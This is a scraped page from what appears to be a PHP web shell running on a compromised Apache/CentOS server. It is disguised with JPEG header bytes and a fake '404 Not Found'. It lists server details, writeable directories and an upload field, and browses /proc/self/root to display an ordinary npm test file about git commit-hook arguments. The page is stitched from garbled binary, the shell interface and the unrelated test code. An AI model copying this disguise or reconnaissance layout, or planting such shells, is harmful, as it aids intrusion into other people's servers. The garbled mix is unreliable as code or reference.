����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/version-commit-hooks.js
var fs = require('graceful-fs')
var path = require('path')
var osenv = require('osenv')
var mkdirp = require('mkdirp')
var rimraf = require('rimraf')
const common = require('../common-tap.js')
var pkg = common.pkg

var test = require('tap').test
var npm = require('../../')

delete process.env['npm_config_commit_hooks']

test('npm version <semver> with commit-hooks disabled in .npmrc', function (t) {
  mkdirp.sync(pkg)
  var npmrc = path.resolve(pkg, '.npmrc')
  fs.writeFileSync(npmrc, 'commit-hooks=false\n', 'ascii')
  process.chdir(pkg)

  npm.load({ prefix: pkg, userconfig: npmrc }, function (err, conf) {
    if (err) {
      t.fail('error loading npm')
    }
    t.same(npm.config.get('commit-hooks'), false)
    t.end()
  })
})

test('npm version <semver> with commit-hooks disabled', function (t) {
  npm.load({}, function () {
    npm.config.set('commit-hooks', false)

    var version = require('../../lib/version')
    var args1 = version.buildCommitArgs()
    var args2 = version.buildCommitArgs([ 'commit' ])
    var args3 = version.buildCommitArgs([ 'commit', '-m', 'some commit message' ])

    t.same(args1, [ 'commit', '-n' ])
    t.same(args2, [ 'commit', '-n' ])
    t.same(args3, [ 'commit', '-m', 'some commit message', '-n' ])
    t.end()
  })
})

test('npm version <semver> with commit-hooks enabled (default)', function (t) {
  npm.load({}, function () {
    npm.config.set('commit-hooks', true)

    var version = require('../../lib/version')
    var args1 = version.buildCommitArgs()
    var args2 = version.buildCommitArgs([ 'commit' ])
    var args3 = version.buildCommitArgs([ 'commit', '-m', 'some commit message' ])

    t.same(args1, [ 'commit' ])
    t.same(args2, [ 'commit' ])
    t.same(args3, [ 'commit', '-m', 'some commit message' ])
    t.end()
  })
})

test('cleanup', function (t) {
  process.chdir(osenv.tmpdir())
  rimraf.sync(pkg)
  t.end()
})

ZeroDay Forums Mini